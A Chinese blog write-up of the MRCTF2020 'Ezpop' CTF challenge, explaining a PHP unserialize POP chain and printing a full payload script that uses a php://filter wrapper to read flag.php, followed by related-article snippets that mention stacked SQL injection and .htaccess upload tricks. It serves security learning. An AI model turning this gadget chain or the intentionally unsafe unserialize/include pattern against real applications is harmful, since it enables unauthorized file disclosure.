[MRCTF2020]Ezpop
题目:
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
反序列化直接分析,构造pop链
1.先分析第一个类,Modifier类
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
append方法里面有内置函数include,包含$value值。__invoke方法是当脚本尝试将对象调用为函数时触发
2.show类
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
__construct方法,接收参数$file,$this->source = $file将$file的值赋给source。而$file的值直接就是inde.php,所以还是输出index.php。
__toString方法,当前对象访问str再访问source,然后返回这个值,就是把类当作字符串使用时触发
__wakeup方法,使用反序列化的时候触发,而这里同时也可以触发__toString方法。里面有waf,过滤一些协议,但是显而易见可以用filter。
3.Test类
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
__construct方法,把p对象变成一个数组。
__get方法,从不可访问的属性中读取数据会触发
4.分析
$value接收什么可以控制
__invoke调用append,里面有$value。
__get将对象p作为函数调用,p实例化为Modify类,而触发__invoke
__toString访问str的source属性,str没source属性,而触发__get
__wakeup把对象当成字符串处理(做匹配的时候),触发__toString
使用反序列化函数触发__wakeup
5.payload构造思路
Modifier类,先把$var的值写成伪协议读源码
class Modifier {
protected $var = "php://filter/convert.base64-encode/resource=flag.php";
}
show类,这是pop链最开始,使用反序列化触发__wakeup,__wakeup直接触发__toString,然后访问source触发__get
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return "HNPC";
}
}
Test类,p实例化为Modify类
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
最后
$o = new Show('aaa');
$o->str= new Test();
$mlz = new Show($o);
echo urlencode(serialize($mlz));
6.payload
<?php
class Modifier {
protected $var = "php://filter/convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$o = new Show('aaa');
$o->str= new Test();
$mlz = new Show($o);
echo urlencode(serialize($mlz));

pop传入,之后base64解码,得到flag
作者:浩歌已行
链接:https://www.jianshu.com/p/150cb693f77b
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
[MRCTF2020]Ezpop的更多相关文章
- 刷题[MRCTF2020]Ezpop
解题思路 打开一看直接是代码审计的题,就嗯审.最近可能都在搞反序列化,先把反序列化的题刷烂,理解理解 代码审计 Welcome to index.php <?php //flag is in f ...
- WP | [MRCTF2020]Ezpop
2020.10.14 最近开始努力提高代码能力 题目代码 Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Le ...
- [BJDCTF2020]EzPHP-POP链
那次某信内部比赛中有道pop链问题的题目,我当时没有做出来,所以在此总结一下,本次以buu上复现的[MRCTF2020]Ezpop为例. 题目 1 Welcome to index.php 2 < ...
- [BUUCTF]REVERSE——[MRCTF2020]hello_world_go
[MRCTF2020]hello_world_go 附件 步骤: 例行检查,64位程序,无壳 64位ida载入,检索程序里的字符串,有很多,直接检索flag 一个一个点过去,找到了flag 按a,提取 ...
- [BUUCTF]REVERSE——[MRCTF2020]Xor
[MRCTF2020]Xor 附件 步骤: 例行检查,32位程序,无壳 32位ida载入,首先检索程序里的字符串,根据字符串的提示,跳转到程序的关键函数 根据flag,跳转到sub_401090函数 ...
- [BUUCTF]REVERSE——[MRCTF2020]Transform
[MRCTF2020]Transform 附件 步骤: 例行检查,64位程序,无壳 64位ida载入,找到关键函数 一开始让我们输入一个长度为33位的字符串,之后使用数组dword_40F040打乱了 ...
- MRCTF2020 你传你🐎呢
MRCTF2020 你传你 .htaccess mime检测 1.先尝试上传了一个文件,发现.jpg后缀的可以上传成功,但是用蚁剑连接时返回空数据 2.重新先上传一个.htaccess文件,让需要被上 ...
- [MRCTF2020]Ezaudit
[MRCTF2020]Ezaudit 知识点 1.源码泄露 2.伪随机数 3.sql注入? 题解 打开题目是个漂亮的前端,扫一下发现www.zip文件泄露,下载审计 <?php header(' ...
- MRCTF2020 套娃
MRCTF2020套娃 打开网页查看源代码 关于$_SERVER['QUERY_STRING']取值,例如: http://localhost/aaa/?p=222 $_SERVER['QUERY_S ...
随机推荐
- stm32与地磁传感器HMC5883L
1.简介 霍尼韦尔 HMC5883L 是一种表面贴装的高集成模块,并带有数字接口的弱磁传感器芯片,应用于低成本罗盘和磁场检测领域.HMC5883L 包括最先进的高分辨率 HMC118X 系列磁阻传感器 ...
- Linux系统下用户如何膝盖FTP用户密码
其实修改ftp用户密码与修改普通用户的密码的过程是一眼高的其具体步骤如下 1.用root账户登录系统 2.使用passwd命令修改密码: 第一次输入密码后提示:The password fails t ...
- ctf堆叠注入总结(持续更新)
第一种 1';USE db_name;SET @sql=CONCAT('sql contents');PREPARE stmt_name FROM @sql;EXECUTE stmt_name; 第二 ...
- offsetWidth与offsetHeight
HTMLElement.offsetWidth 是一个只读属性,返回一个元素的布局宽度.一个典型的(译者注:各浏览器的offsetWidth可能有所不同)offsetWidth是测量包含元素的边框(b ...
- 微信告警如何配置?用Cloud Alert快速实现微信告警
在当下互联网蓬勃发展的时代里,微信已经成为了人们生活中不可分割的一部分.作为苦逼的运维人员,我们自然也得跟得上时代的步伐,将微信添加进告警的通知方式里.如果能够将告警消息第一时间发送到微信中,更清楚地 ...
- TCP Persist 坚持定时器
1.坚持定时器在接收方通告接收窗口为0,阻止发送端继续发送数据时设定. 由于连接接收端的发送窗口通告不可靠(只有数据才会确认),如果一个确认丢失了,双方就有可能因为等待对方而使连接终止: 接收放等待接 ...
- 异常记录-Gradle依赖掉坑之旅
前言 最近在项目中遇到了一个问题,死活拉不下来依赖,耗费了一整天,感觉自己真是菜的抠脚. 没想到今天脑子一清醒,刷刷的问题逐个击破了. 问题描述: 项目成员添加了新的依赖,然后我这边项目拉下来,bui ...
- http请求返回ObjectJson,Array之类转换类型
以下所说的类来自:package com.alibaba.fastjson 1,形如以下返回,其实是个json的map形式的返回 { "success": true, " ...
- OxyPlot组件的基本使用
在制作上位机的时候,很多时候需要使用到监控绘图界面,使用来绘制曲线的组件有很多,GDI+.char.OxyPlot等等,这篇文章用来介绍OxyPlot组件的基本应用,在本文中主要是利用随心数生成函数结 ...
- MySql的远程登录问题
1.linux中先连接数据库:mysql -uroot -p(密码) 2.在mysql命令行中输入: GRANT ALL PRIVILEGES ON *.* TO '登录id'@'%' IDENTIF ...